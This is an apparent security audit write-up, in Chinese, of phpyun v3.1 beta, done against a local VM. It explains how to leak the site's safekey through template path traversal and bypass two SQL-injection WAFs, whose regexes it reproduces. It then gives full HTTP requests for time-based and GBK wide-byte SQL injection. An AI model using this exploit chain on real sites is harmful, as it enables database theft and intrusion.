phpyunv3.1 beta
绕sql防御,宽字节注入
iconv(“utf-8”,”gbk”,$s)对character_set_client=binary和影响
路由分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php include (dirname (__FILE__ )."/global.php" );if ($config ['webcache' ]=="1" ){ include_once (LIB_PATH."web.cache.php" ); $cache =new Phpyun_Cache ('./cache' ,dirname (__FILE__ )."/" ,$config ['webcachetime' ]); $cache ->read_cache (); } $var =@explode ('-' ,str_replace ('/' ,'-' ,$_GET ['yunurl' ]));foreach ($var as $p ){ $param =@explode ('_' ,$p ); $_GET [$param [0 ]]=$param [1 ]; } unset ($_GET ['yunurl' ]);if ($_GET ['m' ] && !ereg ("^[0-9a-zA-Z\_]*$" ,$_GET ['m' ])){ $_GET ['m' ] = 'index' ; } $model = $_GET ['m' ];$action = $_GET ['c' ];if ($model =="" ) $model ="index" ;if ($action =="" ) $action = "index" ;if (!is_file (MODEL_PATH.$model .'.class.php' )){ $controller ='index' ; $action ='index' ; } require (MODEL_PATH.'class/common.php' );require ("model/" .$model .'.class.php' );$conclass =$model .'_controller' ;$actfunc =$action .'_action' ;$views =new $conclass ($phpyun ,$db ,$db_config ["def" ],"index" ,$model );if (!method_exists ($views ,$actfunc )){ $views ->DoException (); } $views ->$actfunc ();if ($config ['webcache' ]=="1" ){ $cache ->CacheCreate (); } ?>
这里的路由还是比较简单,都是从这里当做入口
取m的值作为要实例化的类,c作为需要调用的方法
url例子:http://192.168.91.39:8082/index.php?m=com&c=search&job1=35
waf 1 在包含的global.php
文件里,引入了db.safety.php
和webscan360/360safe/360webscan.php
两个sql注入waf
global.php
1 2 3 4 5 6 7 8 9 if ($config ['sy_istemplate' ]!='1' || md5 (md5 ($config ['sy_safekey' ]).$_GET ['m' ])!=$_POST ['safekey' ]){ foreach ($_POST as $id =>$v ){ safesql ($id ,$v ,"POST" ,$config ); $id = sfkeyword ($id ,$config ); $v = sfkeyword ($v ,$config ); $_POST [$id ]=common_htmlspecialchars ($v ); } }
这里对sql注入进行防御的函数为safesql
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 function safesql ($StrFiltKey ,$StrFiltValue ,$type ) { $getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\\([\d\.]+?\\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)" ; $postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\\([\d\.]+?\\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)" ; $cookiefilter = "benchmark\s*?\\(\d+?|sleep\s*?\\([\d\.]+?\\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)" ; if ($type =="GET" ) { $ArrFiltReq = $getfilter ; }elseif ($type =="POST" ){ $ArrFiltReq = $postfilter ; }elseif ($type =="COOKIE" ){ $ArrFiltReq = $cookiefilter ; } if (is_array ($StrFiltValue )) { foreach ($StrFiltValue as $key =>$value ) { safesql ($key ,$value ,$type ); } }else { if (preg_match ("/" .$ArrFiltReq ."/is" ,html_entity_decode ($StrFiltValue ,ENT_NOQUOTES,"GB2312" ))==1 ) { exit (safe_pape ()); } } if (preg_match ("/" .$ArrFiltReq ."/is" ,$StrFiltKey )==1 ) { exit (safe_pape ()); } }
只要不进入这个if语句,就能绕过这个waf,然后再POST传参里进行sql注入
1 if ($config ['sy_istemplate' ]!='1' || md5 (md5 ($config ['sy_safekey' ]).$_GET ['m' ])!=$_POST ['safekey' ])
这里$config['sy_istemplate']
的值为1,是config里定义的,不可控的
所以只要满足md5(md5($config['sy_safekey']).$_GET['m'])==$_POST['safekey']
即可
$config['sy_safekey']
的值是在安装的时候随机生成的字符串,所以也是不可控的。现在的任务就是如何从用户层面获得这个值。
全局搜索,发现除了在plus/config.php
文件中存在,还可以通过模板渲染出来
这套代码用了smarty作为模板渲染引擎
在global.php
里会创建smarty对象,并进行初始化操作
1 2 3 4 5 6 $phpyun = new smarty ();$phpyun ->template_dir = APP_PATH.'/template/' ;$phpyun ->compile_dir = APP_PATH.'/templates_c/' ;$phpyun ->cache_dir = APP_PATH.'/cache/' ;$phpyun ->left_delimiter = "{yun:}" ;$phpyun ->right_delimiter = "{/yun}" ;
smarty比较常用的几个方法
1 2 smarty ()->assign ($tpl_var , $value = null )smarty ()->display ($resource_name , $cache_id = null , $compile_id = null )
在index.php
1 2 3 4 5 require (MODEL_PATH.'class/common.php' );require ("model/" .$model .'.class.php' );$conclass =$model .'_controller' ;$actfunc =$action .'_action' ;$views =new $conclass ($phpyun ,$db ,$db_config ["def" ],"index" ,$model );
这里的$model.'_controller'
类大多数是继承了common类,所以在实例化的时候,都会先执行common类里的common函数
在common::common($tpl,$db,$def="",$model="index",$m="")
里,就有对smarty对象进行操作
跟进yunset,他就是进行变量绑定的操作
1 2 3 4 function yunset ($name ,$value ) { $this ->tpl->assign ($name ,$value ); }
所以在common里,config的值是已经被赋予了smarty模板里的变量的
只要再找到一个可以控制smarty渲染的目标模板文件为我们上面找到的template/admin/admin_web_config.htm
这样就能获得$config['sy_safekey']
的值
在common类里有两个函数可以进行display的操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 function yuntpl ($tplarr =array ( ) ) { if (is_array ($tplarr ) && $tplarr !='' ){ foreach ($tplarr as $v ){ $this ->tpl->display ($v .".htm" ); } }else { echo "模版不能为空!" ;die ; } } function yun_tpl ($tplarr =array ( ) ) { if (is_array ($tplarr ) && $tplarr !='' ){ foreach ($tplarr as $v ){ $rand =mktime (); $this ->tpl->display ($this ->config['style' ]."/" .$this ->m."/" .$v .".htm" ); } }else { echo "模版不能为空!" ;die ; } }
只要找到会调用yuntpl或者yun_tpl的类,并且渲染的文件可控
最后找到company/model/index.class.php
,在他的index_action()
函数最后
1 2 3 4 5 6 $tp =$_GET ['tp' ]?$_GET ['tp' ]:"index" ;$this ->seo ("company_" .$tp );$this ->yunset ("com_style" ,$this ->config['sy_weburl' ]."/template/company/" .$tplurl ."/" );$this ->yunset ("comstyle" ,"../template/company/" .$tplurl ."/" );$this ->yunset ("defaultstyle" ,"../template/default/" );$this ->yuntpl (array ('company/' .$tplurl ."/" .$tp ));
渲染的文件是可以控制的
同时还要注意前面,必选要存在企业,才可以走到这一步
手动添加一个企业即可
所以我们只需要访问以下url,就可以获得$config['sy_safekey']
的值
http://192.168.91.39:8082/company/index.php?m=index&c=index&tp=../../admin/admin_web_config&id=1
得到$config['sy_safekey']
的值后就可以绕过第一个waf了
waf 2 在经过第一个waf后,还有include/webscan360/360safe/360webscan.php
里的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 if ($webscan_switch &&webscan_white ($webscan_white_directory ,$webscan_white_url )) { if ($webscan_get ) { foreach ($_GET as $key =>$value ) { webscan_StopAttack ($key ,$value ,$getfilter ,"GET" ); } } if ($webscan_post ) { foreach ($_POST as $key =>$value ) { webscan_StopAttack ($key ,$value ,$postfilter ,"POST" ); } } if ($webscan_cookie ) { foreach ($_COOKIE as $key =>$value ) { webscan_StopAttack ($key ,$value ,$cookiefilter ,"COOKIE" ); } } if ($webscan_referre ) { foreach ($webscan_referer as $key =>$value ) { webscan_StopAttack ($key ,$value ,$postfilter ,"REFERRER" ); } } }
同样的思路,不仅这个if语句就可以绕过
$webscan_switch
固定为1,需要让webscan_white()
返回为false
$webscan_white_directory
的值为admin|\/dede\/|\/install\/
$webscan_white_url
是一个数组,值为
跟进webscan_white
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 function webscan_white ($webscan_white_name ,$webscan_white_url =array ( ) ) { $url_path =$_SERVER ['PHP_SELF' ]; $url_var =$_SERVER ['QUERY_STRING' ]; if (preg_match ("/" .$webscan_white_name ."/is" ,$url_path )==1 ) { return false ; } foreach ($webscan_white_url as $key => $value ) { if (!empty ($url_var )&&!empty ($value )){ if (stristr ($url_path ,$key )&&stristr ($url_var ,$value )) { return false ; } } elseif (empty ($url_var )&&empty ($value )) { if (stristr ($url_path ,$key )) { return false ; } } } return true ; }
这里比较简单,只需要满足stristr($url_path,$key)&&stristr($url_var,$value)
即可
这里的$url_path
和$url_var
都是我们可以控制的
让$url_path
里有index.php
,这个很好满足,因为都是从这里开始的
让$url_var
里有admin_dir=admin
,这个也很简单,这个参数不会影响我函数的执行
所以绕这个waf的url为
http://192.168.91.39:8082/company/index.php?admin_dir=admin&sql=xxxx
sql注入 这里有俩个点,一个是作者的傻逼操作导致的注入,另一个是因为对mysql的配置进行的宽字节注入
注入一 db.safety.php
里的quotesGPC();
会将输入进行addslashes()
操作,就是对符号添加转义字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function quotesGPC ( ) { if (!get_magic_quotes_gpc ()){ $_POST = array_map ("addSlash" , $_POST ); $_GET = array_map ("addSlash" , $_GET ); $_COOKIE = array_map ("addSlash" , $_COOKIE ); } } function addSlash ($el ) { if (is_array ($el )) return array_map ("addSlash" , $el ); else return addslashes ($el ); }
在手机版的登录函数里,作者做了一个非常奇怪的操作
wap/model/login.class.php
1 2 3 $username = str_replace ('\\' ,'' ,$_POST ['username' ]);...... $userinfo = $this ->obj->DB_select_once ("member" ,"`username`='" .str_replace ('\\' ,'' ,$_POST ['username' ])."' and usertype='" .$usertype ."'" ,"username,usertype,password,uid,salt" );
他自己把转义符号\
给去掉了,真离谱
所以这里的注入payload
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /wap/index.php?m=login&c=index&admin_dir=admin HTTP/1.1 Host: 192.168.91.39:8082 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: hThbk_admin_username=01946cSxjfHr5n5deaN2nq32aGPrlmwAvaC2yi3pY2YeBv8; hThbk_siteid=88f0h61ZI_oE2e35AlzIvqjdF9QDVw-64QWwFTDq; hThbk_userid=2f2bCsjotgEM32BCtAjD33IuWF9gwm3_uezNYBvp; hThbk_admin_email=50f5wvAnIMP0PXQ-AK_cWNvFpce1ZQcyuy5C6C_VfFYAEaRmSg; hThbk_sys_lang=8f14-tIiEZwLVjUjYdasxVAqYJoQsqXkzqpsn9V8TmJhtA; ashell=c0e024d9200b5705bc4804722636378a; PHPSESSID=6g8jlrfbo9jjag6oin96hmo4m4; XDEBUG_SESSION=PHPSTORM Connection: close Content-Length: 86 Content-Type: application/x-www-form-urlencoded submit=1&username=1'+or+sleep(10)%23&safekey=89ebd0767990c2f70f01c1ea0d558d81
即可进行sql盲注,然后交给sqlmap就行
注入二 审这里的时候就收获大大滴,原理可以看p牛的https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html
在连接数据库的时候会进行以下操作
1 2 3 $this ->coding="gbk" ;@mysql_query ("SET NAMES $this ->coding" ); @mysql_query ("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary" , $this ->conn);
这里进行了character_set_client=binary
操作
这里的意思就是,在数据进入数据库的时候,mysql不会把数据视为字节流,而是视为单个字节
即在gbk编码下,不会把\xdf5c
识别为中文字符運
,而是识别为0xdf
和0x5c
的ascii码
所以一般情况下,这里是不会存在宽字节注入的,但是!
有一个非常危险的操作,即iconv("utf-8","gbk",$s)
会把字符从utf-8编码转换为gbk编码,大多数是为了防止乱码的出现,但是却造成了一个sql注入漏洞
比如,将一个中文字符从utf-8转为gbk编码后,他的16机制为xx5c
,同时反斜杠\
的ascii码的16进制也为5c
并且msql以binary的格式读取这两个数据,那么就会读成xx5c5c
,也就会有两个\
,从而把反斜杠\
转义掉,造成单引号'
逃逸
在登录时,会进入路由/index.php?m=login&c=loginsave
这个函数有以下操作
1 2 3 $username =iconv ("utf-8" ,"gbk" ,$_POST ['username' ]);... $user = $this ->obj->DB_select_once ("member" ,"`username`='" .$username ."'" ,"`pw_repeat`,`pwuid`,`uid`,`username`,`salt`,`email`,`password`,`usertype`,`status`,`email_status`" );
最后会执行以下sql语句
1 SELECT `pw_repeat`,`pwuid`,`uid`,`username`,`salt`,`email`,`password`,`usertype`,`status`,`email_status` FROM phpyun_member WHERE `username`= '1234567' limit 1
这里的username我们是可控的,可以根据上面的原理进行时间盲注
可能是我虚拟机的问题,时间一长网站就遭不住,所以时间得弄短一点
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /index.php?m=login&c=loginsave&admin_dir=admin HTTP/1.1 Host: 192.168.91.39:8082 Content-Length: 67 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.91.39:8082 Referer: http://192.168.91.39:8082/index.php?m=login&usertype=2 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: hThbk_admin_username=01946cSxjfHr5n5deaN2nq32aGPrlmwAvaC2yi3pY2YeBv8; hThbk_siteid=88f0h61ZI_oE2e35AlzIvqjdF9QDVw-64QWwFTDq; hThbk_userid=2f2bCsjotgEM32BCtAjD33IuWF9gwm3_uezNYBvp; hThbk_admin_email=50f5wvAnIMP0PXQ-AK_cWNvFpce1ZQcyuy5C6C_VfFYAEaRmSg; hThbk_sys_lang=8f14-tIiEZwLVjUjYdasxVAqYJoQsqXkzqpsn9V8TmJhtA; ashell=c0e024d9200b5705bc4804722636378a; PHPSESSID=6g8jlrfbo9jjag6oin96hmo4m4; XDEBUG_SESSION=PHPSTORM Connection: close username=錦'+or+sleep(2)%23&password=1234567&usertype=2&path=index&loginname=1&safekey=89ebd0767990c2f70f01c1ea0d558d81
这里的中文字符使用“錦”,其实只要是gbk编码后面以5c结尾即可,“猏”也可以
这里虽然显示的虽然没有两个\
,但是后面到数据库就会了
明显的延时,然后丢给sqlmap就行了